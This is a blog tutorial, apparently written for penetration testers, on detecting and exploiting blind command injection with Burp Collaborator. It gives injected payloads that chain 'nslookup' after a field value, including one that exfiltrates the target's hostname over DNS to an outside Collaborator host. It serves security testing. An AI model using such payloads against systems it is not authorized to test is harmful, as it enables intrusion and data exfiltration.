May 15, 2018
Blind Command Injection Testing with Burp Collaborator
In this post we will demonstrate how Burp Collaborator can be leveraged for detecting and exploiting blind command injection vulnerabilities.
Burp Collaborator is an excellent tool provided by Portswigger in BurpSuite Pro to help induce and detect external service interactions. These external service interactions occur when an application or system performs an action which interacts with another system or service…eazy peezy. An example of an external interaction is DNS lookups. If you provide a hostname to a service, and it resolves that hostname, an external service interaction has likely occurred.
While Burp Collaborator has many use cases, today we’ll explore a specific use case — detecting and exploiting blind command injections.
Command injection vulnerabilities occur when user-controllable data is processed by a shell command interpreter — the information you submitted to the application was used as part of a command run directly by the system.
Command injection vulnerabilities are serious findings, as they allow an attacker to execute commands on the underlying system hosting the web application.
Let’s take a look at how Burp Collaborator could be used to help us detect and exploit the more difficult form of command injection vulnerabilities, blind command injections.
In blind command injection, we don’t see any output from our injection attacks, even though the command is running behind the scenes. We generally see detection performed via payloads which cause the system to perform a noticeable action like sleep (time-based), or perhaps ping another server under our control.
Sleep Command Injected – Response Time Observed
Ping Command Injected
Ping Response Observed
With Burp Collaborator, we can often use its DNS service interaction to find these vulnerabilities a bit more easily. We’re likely already using BurpSuite to assess the application, so it makes sense to leverage Collaborator.
If we can induce our target to perform an external service interaction via a command injection, we can use Collaborator to confirm it.
So you think you have a shot at blind command injection? Start up the Collaborator client!
Grab a Collaborator payload by copying it to your clipboard:
It will look something like this:255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net
Fun fact: the nslookup command uses similar syntax on Windows and Linux, making it a perfect candidate for cross-platform blind command injection tests. Just insert nslookup $collaborator-payload into your usual test cases. If a DNS lookup is performed on your payload, you’ll be notified by Collaborator.
Let’s drop a Collaborator payload into our example injection…
Here’s the payload:8.8.8.8;nslookup 255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net
The only output we see from the web application is “Test passed.”
But we see the response to our injection received by the Collaborator client, confirming we have command execution.
Awesome.
Let’s take it a step further. What if we wanted to exfiltrate some data? Perhaps we’re unable to gain a shell from our injection attempts, and we need to figure out why — or we just want a better proof of concept for our report.
Collaborator gives us a really simple and effective option for this, without leaving BurpSuite to setup additional tools during a test.
We can use Collaborator to pull back some details about the target by appending system data to the beginning of the DNS lookup. Collaborator will accept lookups to any subdomain requested on the payload (keeping in mind 63 character limits for subdomains, and 253 character limits for the overall DNS lookup).
Let’s pull back the hostname of our target system.
Here’s the payload:8.8.8.8;nslookup $(hostname).255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net
Excellent, we’ve retrieved the hostname from our target through DNS exfiltration. With a little imagination we can bring back all sorts of informative details.
A note on security: don’t send sensitive data back over a DNS channel without securing it.
In addition, you can read about the security of the Collaborator service provided by Portswigger in their documentation, or you can spin up your own private Collaborator server to use internally.
Resources
Burp Collaborator Documentation
OWASP Testing for Command Injections